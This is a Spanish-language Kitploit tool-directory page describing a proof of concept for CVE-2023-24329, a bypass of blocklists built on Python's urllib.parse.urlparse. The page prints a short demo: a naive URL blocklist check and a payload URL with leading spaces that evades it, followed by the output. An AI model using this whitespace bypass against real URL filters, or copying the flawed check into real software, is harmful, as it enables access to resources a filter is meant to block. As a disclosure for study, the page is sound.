Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/pentestmano/cve-2023-24329-exploit
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubpentestmano/cve-2023-24329-exploit

CVE-2023-24329-Exploit

Prueba de concepto que demuestra una omisión en el análisis de URL en urllib.parse de Python (CVE-2023-24329) que permite evadir listas de bloqueo anteponiendo espacios.

Ver Repositorio
hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Introducción

Las funciones de análisis de URL se centran en dividir una cadena de URL en sus componentes, o en combinar componentes de URL en una cadena de URL.

  • urllib.parse.urlparse

Simplemente urllib.parse se usa para analizar URLs, podemos omitirlo agregando espacios en blanco antes de la URL. Esto ocurre en python 3.11.4 y versiones anteriores.

PoC

Vamos a desglosar example.py

Aquí hay un conjunto de sitios web a los que no deberías acceder:

root@kitploit:~
blocked_list = [
    "http://example.com/",
    "http://example2.com/"
]

Esta función verifica si el sitio web está en la lista de bloqueados o no, si está en la lista de bloqueados debería devolver URL Blocked

root@kitploit:~
def is_url_blocked(url):
    parse = urllib.parse.urlparse(url).geturl()
    if  parse in blocked_list: return 'URL Blocked'
    else: return 'Bypassed'

Ahora agregué dos URLs y verifico si alguna de ellas está bloqueada y no se puede acceder:

root@kitploit:~
payload1 = "    http://example.com/"
payload2 = "http://example.com/"

print(
    is_url_blocked(payload1),
    "\n",
    is_url_blocked(payload2)
)

payload1 es donde omití is_url_blocked() porque agregar un espacio largo antes de la URL omitirá urllib.parse.urlparse(url).geturl() y no se ejecutará como se esperaba. Por eso la salida es

root@kitploit:~
Bypassed

Pero en payload2 obtenemos

root@kitploit:~
URL Blocked

Soporte

Si deseas apoyarme con una donación, te recomiendo que se la des a alguien que realmente lo necesite, por favor. Si lo haces, considera que me has ganado tu apoyo.

Buy Me A Coffee

Descargar herramienta